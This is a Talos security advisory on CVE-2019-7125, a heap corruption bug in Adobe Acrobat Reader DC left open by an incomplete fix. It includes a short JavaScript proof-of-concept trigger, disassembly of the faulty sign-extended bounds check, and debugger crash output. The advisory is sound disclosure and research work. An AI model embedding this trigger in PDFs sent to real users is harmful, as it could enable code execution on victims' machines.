CVE-2019-7125
A specific JavaScript code embedded in a PDF file can lead to a heap corruption when opening a PDF document in Adobe Acrobat Reader DC 2019.8.20071. With careful memory manipulation, this can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page. The vulnerability in this advisory is the same as TALOS-2018-0704, as it wasn’t properly patched to cover all cases.
Adobe Acrobat Reader DC 2019.010.20069
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-194: Unexpected Sign Extension
Adobe Acrobat Reader is the most popular PDF reader on the market currently. It has a large user base and is usually the PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.
Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and poses additional attack surface.
The vulnerability described in TALOS-2018-0704 stems from an incorrect integer size promotion that leads to heap corruption and can still be triggered by the following code:
var r = new RegExp(Array(32770).join(String.fromCharCode(24)));
app.activeDocs[0].getField('mydata')['value'] = r;
The only difference to the PoC code in TALOS-2018-0704 is that the size of the array is increased by one. As a matter of fact, any array size larger than 32769 will still trigger the vulnerability in the same way.
The code surrounding the vulnerability is slightly different, but all the necessary elements are largely the same:
imul ecx, eax, 14h [1]
mov eax, [esi+8]
add ecx, dword ptr [ebp+var_48] [2]
movzx eax, word ptr [eax+edx*2]
inc [ebp+var_1C]
mov [ebp+var_18], ecx
mov [ecx], eax
mov eax, dword_213493C8
At [1], the offset into memory area is computed, each element being 0x14 in size and at [2] this offset is added to the start. If we take a look at the size of the allocation we can see:
1:011> !heap -p -a ecx
address 66af0fc0 found in
_DPH_HEAP_ROOT @ 58d1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
668523dc: 66a50fe8 a0014 - 66a50000 a2000
6e88abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
772c27ab ntdll!RtlDebugAllocateHeap+0x00000039
772258e9 ntdll!RtlpAllocateHeap+0x000000f9
772249c9 ntdll!RtlpAllocateHeapInternal+0x00000179
7722483e ntdll!RtlAllocateHeap+0x0000003e
74bc0106 ucrtbase!_malloc_base+0x00000026
6997e1d0 AcroForm!PlugInMain+0x00000864
69cab9eb AcroForm!DllUnregisterServer+0x00130269
69caccde AcroForm!DllUnregisterServer+0x0013155c
69aa6a5d AcroForm!PlugInMain+0x001290f1
In the above output, we can see that user size is now 0xa0014, which is just enough to hold 32,769 elements of size 0x14, but not more. The code still does an improper comparison when checking the size due to sign extension:
loc_20B7BAB2:
movzx eax, word ptr [esi+0Ch]
inc edi
movsx edx, di [3]
cmp edx, eax [4]
mov eax, [ebp+var_1C]
jl loc_20B7BA18
At [3], di
is sign extended into edx
and then compared against eax
. Since the high bit will be set, this check will pass, and this leads to the following crash:
(2354.4d4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled.
eax=000000d9 ebx=00000000 ecx=669b0fe8 edx=00000000 esi=62972fe0 edi=00000000
eip=69caba2c esp=00f3b648 ebp=00f3b6a4 iopl=0 nv up ei pl nz na po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010203
AcroForm!DllUnregisterServer+0x1302aa:
69caba2c 8901 mov dword ptr [ecx],eax ds:002b:669b0fe8=????????
1:011> k 10
# ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong.
00 00f3b6a4 69caccde AcroForm!DllUnregisterServer+0x1302aa
01 00f3b6b0 69aa6a5d AcroForm!DllUnregisterServer+0x13155c
02 00000000 00000000 AcroForm!PlugInMain+0x1290f1
As in the TALOS-2018-0704 advisory, the loop continued accessing out-of-bounds memory until it hit an unallocated page. By precisely controlling the contents of the memory directly adjacent to the large chunk of memory allocated by the regular expression object, it is possible to further corrupt the heap which could possibly result in arbitrary code execution.
2019-02-01 - Vendor Disclosure
2019-04-09 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.